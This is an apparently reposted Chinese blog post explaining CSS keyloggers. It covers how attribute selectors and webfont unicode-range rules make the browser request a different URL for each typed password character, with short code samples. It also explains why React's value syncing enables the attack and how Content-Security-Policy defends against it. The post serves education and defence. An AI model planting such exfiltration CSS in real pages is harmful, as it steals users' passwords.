CSS keylogger:攻击与防御

前言

前阵子在 Hacker News 上面看到这篇:Show HN: A CSS Keylogger,大开眼界,决定要找个时间好好来研究一下,并且写一篇文章分享给大家。

这篇会讲到以下东西:

  1. 什麽是 keylogger
  2. CSS keylogger 的原理
  3. CSS keylogger 与 React
  4. 防御方法

好,那就让我们开始吧!

Keylogger 是什麽?

Keylogger 就是键盘侧录,是恶意程式的一种,拿来记录你电脑上面所有按过的按键。还记得我小时候曾经用 VB6 写了一个超简单的 keylogger,只要呼叫系统提供的 API 并且记录相对应的按键就好。

在电脑上面被装这个的话,就等于你输入的任何东西都被记录起来。当然,也包含了帐号跟密码。不过如果我没记错,防毒软体的行为侦测应该可以把这些都挡掉,所以也不用太过担心。

刚刚讲的是在电脑上面,现在我们把范围缩小,侷限在网页。

如果你要在页面上加一个 keylogger,通常会利用 JavaScript 来达成,而且程式码超级简单:

document.addEventListener('keydown', e => {
  console.log(e.key)
})
复制代码

只要侦测keydown事件并且抓出按下的 key 就行了。

不过假如你有能力在你想入侵的网页上面加入 JavaScript 的话,通常也不需要这麽麻烦去记录每个按键,你直接把 Cookie 偷走、窜改页面、导到钓鱼页面,或者是在 submit 的时候把帐号密码回传给自己的 Server 就好,所以 keylogger 显得不是那麽有用。

好,那假设我们现在没办法插入恶意的 JavaScript,只能改 CSS,有办法用纯 CSS 做出一个 keylogger 吗?

有,毕竟 CSS 能做的事情可多了

纯 CSS keylogger 的原理

直接看程式码你就懂了(取自:maxchehab/CSS-Keylogging):

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
复制代码

神奇吧!

如果你不熟悉 CSS selector,这边帮你複习一下。上面那段意思就是说如果 type 是 password 的 input,value 以 a 结尾的话,背景图就载入http://localhost:3000/a

现在我们可以把这串 CSS 改一下,新增大小写英文字母、数字甚至是特殊符号,接着会发生什麽事呢?

如果我输入 abc123,浏览器就会发送 Request 到:

  1. http://localhost:3000/a
  2. http://localhost:3000/b
  3. http://localhost:3000/c
  4. http://localhost:3000/1
  5. http://localhost:3000/2
  6. http://localhost:3000/3

就这样,你的密码就完全被攻击者给掌握了。

这就是 CSS keylogger 的原理,利用 CSS Selector 搭配载入不同的网址,就能够把密码的每一个字元发送到 Server 去。

看起来很可怕对吧,别怕,其实没那麽容易。

CSS keylogger 的限制

不能保证顺序

虽然你输入的时候是按照顺序输入的,但 Request 抵达后端的时候并不能保证顺序,所以有时候顺序会乱掉。例如说 abc123 变成 bca213 之类的。

但如果我们把 CSS Selector 改一下的话,其实就能解决这个问题:

input[value^="a"] {
  background-image: url("http://localhost:3000/a_");
}
  
input[value*="aa"] {
  background-image: url("http://localhost:3000/aa");
}
  
input[value*="ab"] {
  background-image: url("http://localhost:3000/ab");
}
复制代码

如果开头是 a,我们就送出a_,接着针对 26 个字母跟数字的排列组合每两个字元送出一个 request,例如说:abc123,就会是:

  1. a_
  2. ab
  3. bc
  4. c1
  5. 12
  6. 23

就算顺序乱掉,透过这种关係你把字母重新组合起来,还是可以得到正确的密码顺序。

重複字元不会送出 Request

因为载入的网址一样,所以重複的字元就不会再载入图片,不会发送新的 Request。这个问题目前据我所知应该是解不掉。

在输入的时候,其实 value 不会变

这个其实是 CSS Keylogger 最大的问题。

当你在 input 输入资讯的时候,其实 input 的 value 是不会变的,所以上面讲的那些完全不管用。你可以自己试试看就知道了,input 的内容会变,但是你用 dev tool 看的话,会发现 value 完全不会变。

针对这个问题,有两个解决方案,第一个是利用 Webfont:

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
复制代码

(程式码取自:Keylogger using webfont with single character unicode-range

value 不会跟着变又怎样,字体总会用到了吧!只要每打一个字,就会送出相对应的 Request。

但这个方法的侷限有两个:

  1. 没办法保证顺序,一样也没办法解决重複字元的问题
  2. 如果栏位是<input type='password' />,就没有用

(在研究第二个侷限的时候发现一件有趣的事,由于 Chrome 跟 Firefox 会把「页面上有 type 是 password 的 input,但是又没用 HTTPS」的网站标示为不安全,所以有人研究出用普通 input 搭配特殊字体来躲过这个侦测,并且让输入框看起来像是 password(但其实 type 不是 password),在这种情形下就可以用 Webfont 来攻击了)

再来我们看第二种解决方案,刚刚有说到这个问题的症结点在于 value 不会变,换句话说,如果你 input 输入值的时候,value 会跟着变的话,这个攻击手法就很用了。

嗯...有没有一种很熟悉的感觉。

class NameForm extends React.Component {
  constructor(props) {
    super(props);
    this.state = {value: ''};
  
    this.handleChange = this.handleChange.bind(this);
  }
  
  handleChange(event) {
    this.setState({value: event.target.value});
  }
  
  render() {
    return (
      <form>
        <label>
          Name:
          <input type="text" value={this.state.value} onChange={this.handleChange} />
        </label>
      </form>
    );
  }
}
复制代码

(以上程式码改写自React 官网

如果你用过 React 的话,应该会很熟悉这个模式。你在输入任何东西的时候,会先改变 state,再把 state 的值对应到 input 的 value 去。因此你输入什麽,value 就会是什麽。

React 是超夯的前端 Library,可以想像有一大堆网页都是用 React 做的,而且只要是 React,几乎就能保证 input 的 value 一定会同步更新(几乎啦,但应该还是有少数没有遵循这个规则)。

在这边先做个总结,只要你 input 的 value 会对应到裡面的值(假如你用 React,几乎一定会这样写),并且有地方可以让别人塞入自订的 CSS 的话,就能成功实作出 CSS Keylogger。虽然有些缺陷(没办法侦测重複字元),但概念上是可行的,只是精准度没那麽高。

React 的回应

React 的社群也有针对这一个问题进行讨论,都在 Stop syncing value attribute for controlled inputs #11896 这个 Issue 裡。

事实上,让 input 的 value 跟输入的值同步这件事情一直都会有一些 bug,以前甚至发生了知名流量分析网站 Mixpanel 不小心记录敏感资讯的事件,而最根本的原因就是因为 React 会一直同步更新 value。

Issue 的讨论满值得一看的,裡面有提到大家常搞溷的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不错的解释:What is the difference between properties and attributes in HTML?

attributes 基本上就是你 HTML 上面的那个东西,而 properties 代表的是实际的 value,两个不一定会相等,举例来说:

<input id="the-input" type="text" value="Name:">
复制代码

假如你今天抓这个 input 的 attribute,你会得到Name:,但如果你今天抓 input 的 value,你会得到目前在输入框裡面的值。所以其实这个 attribute 就跟我们常用的 defaultValue 是一样的意思,就是预设值。

不过在 React 裡面,他会把 attribute 跟 value 同步,所以你 value 是什麽,attribute 就会是什麽。

从讨论看起来,在 React 17 满有机会把这个机制拿掉,让这两者不再同步。

防御方法

上面讲了这麽多,因为现今 React 还没把这个改掉,所以问题还是存在着。而且其实除了 React,也可能有别的 Library 做了差不多的事情。

Client 端的防御方法我就不提了,基本就是装一些别人写好的 Chrome Extension,可以帮你侦测符合模式的 CSS 之类的,这边比较值得提的是 Server 端的防御。

目前看起来最一劳永逸的解决方案就是 Content-Security-Policy,简而言之它是一个 HTTP Response 的 header,用来决定浏览器可以载入哪些资源,例如说禁止 inline 程式码、只能载入同个 domain 下的资源之类的。

这个 Header 的初衷就是为了防止 XSS 以及攻击者载入外部的恶意程式码(例如说我们这个 CSS keylogger)。想知道更详细的用法可以参考这篇:Content-Security-Policy - HTTP Headers 的资安议题 (2)

总结

不得不说,这个手法真的很有趣!之前第一次看到的时候也惊叹了好一阵子,居然能发现这样子的纯 CSS Keylogger。虽然技术上是可行的,但在实作上还是会碰到许多困难之处,而且要符合满多前提才能做这样子的攻击,不过还是很值得关注后续的发展。

总之呢,这篇文就是想介绍这个东西给读者们,希望大家有所收穫。

参考资料

  1. Keylogger using webfont with single character unicode-range #24
  2. Stop syncing value attribute for controlled inputs #11896
  3. maxchehab/CSS-Keylogging
  4. Content-Security-Policy - HTTP Headers 的资安议题 (2)
  5. Stealing Data With CSS: Attack and Defense
  6. Bypassing Browser Security Warnings with Pseudo Password Fields
  7. CSS Keylogger (and why you shouldn’t worry about it)
  8. Mixpanel JS library has been harvesting passwords

猜你喜欢

转载自juejin.im/post/5c2d68965188250baa55c3e2